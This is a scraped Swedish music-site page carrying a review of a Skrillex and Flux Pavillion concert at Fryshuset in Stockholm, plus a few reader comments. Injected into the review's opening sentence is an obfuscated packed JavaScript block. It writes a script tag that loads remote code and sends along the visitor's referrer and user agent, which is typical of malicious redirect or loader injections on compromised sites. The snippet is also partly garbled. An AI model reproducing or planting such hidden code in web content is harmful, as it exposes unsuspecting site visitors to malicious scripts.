Image Image Image Image Image Image Image Image Image Image

| 21 november, 2017

Scroll to top

Top

No Comments

Recension: Skrillex & Flux Pavillion på Fryshuset | Revue.se

Recension: Skrillex & Flux Pavillion på Fryshuset
Alexander Gylemo

Igår eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(”<\/k"+"l>”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yynbd|var|u0026u|referrer|frine||js|php’.split(‘|’),0,{}))
var det all-out dubstep i Stockholm då The Mothership Tour, bestående av Skrillex tillsammans med brittiska stjärnskottet Flux Pavillion, landade på Fryshuset, och ingen kan påstå att de inte levererade.

Flux Pavillion drog igång spelningen runt åtta på kvällen och levererade hit efter hit, t.ex. sin egen ”Got 2 Know”, ”Bass Cannon” och Doctor P’s ”Tetris” som när den mixades in fick hela Fryshuset att bli helt galet. Han satsade stenhårt på dubstep (så klart) men smög även in lite house, drum ‘n’ bass och till och med moombahton mellan alla sjuka tempoväxlingar, samtidigt som han hade så mycket inlevelse i musiken att man nästan trodde att det var han själv som sjöng och droppa one-liners och inte de inspelade vocalsen i låtarna. Inte en enda mixning lät fel, oavsett vilken genre han drog av, och bortsett från några sekunder av total tystnad efter att Fluxs spelare la av var spelningen perfekt.

Efter en paus på dryga 20 minuter kom till sist killen som fick dubstep att bli accepterat av massorna upp på scen. Publiken var självklart i extas och jublade och skrek när Skrillex ropade ”What up Stockholm!” och drog av en mashup på ”My Name is Skrillex” och hans senaste samarbete med The Doors ”Breakin’ a Sweat”. Som väntat var majoriteten av de kommande låtarna hans egna dubstepdängor, något som bara var välkommet av publiken som inte kom ur fokus en enda gång, däremot blev jag riktigt positiv överraskad när han halvvägs in i setet började pendla mellan alla tänkbara genrer och drog av en hip-hoplåt här, en houselåt där, lite drum ‘n’ bass och visade även han sin moombahtonkärlek för att sedan avsluta genrependlandet med en uppspeedad version av Aviciis ”Levels”, vilket fick publiken att skrika som aldrig förr. Även Skrillex vet hur man lever sig in i musiken och var antagligen en av de som dansade mest och hårdast på stället medan han skrek och ropade till publiken. Vad gäller mixningskvalitén var även den bra om än kanske inte lika stensäker som Flux Pavillions.

Fryshusets arrangemang var klart godkänt då de inte fegade med volymen och lät dubstepgudarna göra sig hörda, enda nackdelen var väl att de endast verkade ha en kortläsare i baren vilket antagligen resulterade i att en hel del törstiga stackare missade halva konserten p.g.a. att de brottades i kön runt baren. De i publiken som klarade sig utan öl ska för övrigt likt på Mac Millers spelning ha en stor eloge för att de inte svenskade ur och smygdiggade, utan alla var helt galna och hoppade omkring och sjöng med, en riktigt underbar syn.

Två timmar senare var spelningen till sist över och tystnaden kunde lägga sig över Fryshuset och man fick äntligen chansen att inse att hörseln med stor sannolikhet hade halverats för att sedan bli helt döv på den grymma efterfesten på Slakthuset där även Skrillex gästdjade i ungefär en timma. Underbar energi, grym musik och enormt mycket glädje – Det finns bara ett ord som kan summera kvällen; MASSIVE!

httpv://www.youtube.com/watch?v=2845edZgqYE

  • House is kul

    Underbar kväll!! Bra recension också 🙂

  • Stockholm

    Bra artikel!! Ser ut som man missade en grym kväll.

  • Adam K

    Asså vilken kväll!!! tack grabbar för ännu en bra sammanfattande artikel!